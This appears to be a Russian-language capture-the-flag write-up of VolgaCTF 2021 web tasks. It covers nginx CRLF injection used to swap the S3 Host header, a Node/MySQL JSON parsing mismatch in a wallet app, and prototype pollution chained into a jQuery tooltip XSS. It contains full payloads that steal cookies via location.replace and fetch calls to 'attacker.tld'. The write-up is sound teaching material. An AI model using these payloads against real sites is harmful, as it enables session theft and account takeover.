Static Site
Задание представляет собой сайт, который состоит только из статики, часть из который подключается из Amazon S3 Bucket.
Идея взята из статьи Middleware, middleware everywhere - and lots of misconfigurations to fix. В случае, если в proxy_pass используются nginx переменные, содержащие перенос строки - это можно привести к CRLF Injection в запросе. Что особенно опасно при использовании Amazon S3, так как перезапись Host заголовка позволяет запросить файлы из произвольного bucket, созданного в том же регионе.
Это может произойти при использовании исключающих регулярных выражений
location ~ /docs/([^/]*/[^/]*)? {
proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}
В задании использовался вариант с $uri, не упомянутый в статье. Данная переменная содержит нормализованное значение URI, переданное клиентом. Нормализация включает в себя преобразования относительных элементов пути "." и "..", замена повторяющихся "/" и url-декодирование.
location /static/ {
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
Таким образом запрос /static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a
будет отправлен следующим образом
GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket
HTTP/1.1
Host: volga-static-site.s3.amazonaws.com
Что дает возможность атакующему вернуть свой HTML в контексте уязвимого сайта. Но Content Security Policy не позволял использовать inline script, поэтому для выполнения кода необходимо подключить еще один файл с использованием CRLF Injection.
Content Security Policy: ...; script-src 'self'...
Эксплуатация:
- Создаем bucket в регионе us-east-1
- Загружаем /static/xss.html
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>
- Загружаем /static/xss.js
location.replace('//attacker.tld/?' + document.cookie)
- Отправляем боту ссылку
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a
Многие остались недовольны тем, что необходимо угадывать регион для создания bucket, потому что иначе выдавало перенаправление с сообщением "Please re-send this request to the specified temporary endpoint". Это действительно вызывает проблемы при Subdomain Takeover, когда старый bucket был удален. Так как пересоздание bucket с таким же именем в другом регионе занимает около часа, пока Amazon синхронизирует информацию в своей огромной инфраструктуре. Но в данном случае узнать регион не составляет труда, так как Amazon публикует диапазоны IP всех своих сервисов по ссылке https://ip-ranges.amazonaws.com/ip-ranges.json
<?php
$ip = gethostbyname($argv[1]);
$ip_ranges = json_decode(file_get_contents('https://ip-ranges.amazonaws.com/ip-ranges.json'));
foreach ($ip_ranges->prefixes as $prefix) {
if(isset($prefix->ip_prefix)) {
if(ip_in_network($ip, $prefix->ip_prefix))
print("Service $prefix->service, region $prefix->region".PHP_EOL);
}
}
function ip_in_network($ip, $range) {
list($net_addr, $net_mask) = explode('/', $range);
if($net_mask <= 0){ return false; }
$ip_binary_string = sprintf("%032b", ip2long($ip));
$net_binary_string = sprintf("%032b", ip2long($net_addr));
return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
}
?>
> php amazon_region.php volga-static-site.s3.amazonaws.com
Service AMAZON, region us-east-1
Service S3, region us-east-1
Online Wallet (part 1)
Данное задание представляет собой онлайн кошелек с функциями создания и перевода средств между своими счетами. Для получения флага необходимо запросить вывод денег со счета, но он доступен только при отрицательном балансе или более 150 токенов. При регистрации создается кошелек с балансом 100.
Идея уязвимости была взята из статьи An Exploration of JSON Interoperability Vulnerabilities.
При переводе средств между счетами происходило 2 различных парсинга JSON тела запроса.
Первый раз с помощью node через body-parser
const bodyParser = require('body-parser')
app.use(bodyParser.json({verify: rawBody}))
const rawBody = function (req, res, buf, encoding) {
if (buf && buf.length) {
req.rawBody = buf.toString(encoding || 'utf8')
}
}
И второй раз при совершении транзакции в MySQL. Поле transaction имело тип JSON.
transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
Так как проверка баланса происходила в node, а выполнение транзакции в MySQL это вызывало следующие ошибки:
- При переводе очень мелких сумм происходило пополнение второго кошелька, но баланс первого оставался 100 (объяснить это я затрудняюсь)
- Из-за разных округлений в парсинге возможно было увести баланс в минус
Node
JSON.parse('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}').amount
100
MySQL
select json_extract('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}', '$.amount');
100.00000000000001
Таким образом, для получения флага достаточно было сделать 1 транзакцию. Но несмотря на мои попытки избавится от Race Condition, многие команды решили таск не так, как планировалось.
Online Wallet (part 2)
Во второй части задания участникам необходимо было сделать XSS и украсть cookie у бота.
В приложении была возможность смены языка, которая реализована загрузкой разной версии JS файла с Amazon S3 bucket.
<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>
Через параметр lang можно установить произвольное значение языка, но символы <>" обрабатывались корректно
<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_<>".js"></script>
Но, так как значение попадает в путь к скрипту, это позволяет подключить произвольный файл из данного bucket, используя следующее значение "?lang=/../foo".
<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_/../foo.js"></script>
За счет листинга можно посмотреть все файлы и обнаружить deparam.js
Данная библиотека преобразует параметры из location.search в объект. Используя подсказку в исходном коде можно было найти репозиторий, содержащий примеры библиотек, уязвимых к Prototype Pollution и гаджеты, с помощью которых можно продемонстрировать выполнение произвольного JS кода https://github.com/BlackFan/client-side-prototype-pollution. Однако стандартный вариант Prototype Pollution действительно не работает, потому что объект создается без прототипа.
Но фикс исправляет только создание объектов, а библиотека deparam поддерживает массивы, через которые аналогично можно добраться до прототипа объекта следующим образом
Используя создание полей в прототипе объекта, атакующий может изменять логику существующих скриптов на странице, что может привести к XSS. Искать фрагмент кода, который будет эксплуатироваться через Prototype Pollution можно двумя путями - от обращения к неинициализированному полю до уязвимого кода. И наоборот, сначала выделить небезопасные фрагменты кода, а потом искать неинициализированные поля, которые на него влияют.
В первом случае поможет скрипт pollute.js от Michał Bentkowski. Но в данном случае проще было выбрать второй путь и использовать untrusted-types от filedescriptor. При наведении курсора на кнопку "Deposit" появлялся tooltip и расширение untrusted-types предупреждало о небезопасном использовании innerHTML в jQuery.
И если взглянуть на функцию getTipElement, становится понятно, что для этого фрагмента кода уже есть готовый XSS PoC в репозитории.
getTipElement() {
this.tip = this.tip || $(this.config.template)[0]
return this.tip
}
Но остается еще одна проблема - для отображения tooptip необходимо вызвать onfocus для данного элемента.
<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
<button class="btn btn-primary" type="button" disabled style="pointer-events:none;" data-i18n="deposit">
Deposit
</button>
</span>
Это можно сделать загрузив сайт в iframe и обновив src с добавлением id элемента "#depositButton", в результате чего фокус будет переведен на кнопку и bootstrap отобразит tooltip.
Эксплуатация
- Через параметр lang подключить deparam.js
- Обойти фикс Prototype Pollution через массивы
- Вызвать небезопасный фрагмент кода через onfocus
- Использовать XSS гаджет для jQuery
<iframe name="xss" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E"></iframe>
<script>
setTimeout(function() {
xss.location="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E#depositButton"
}, 2000)
</script>
Исходный код заданий: https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals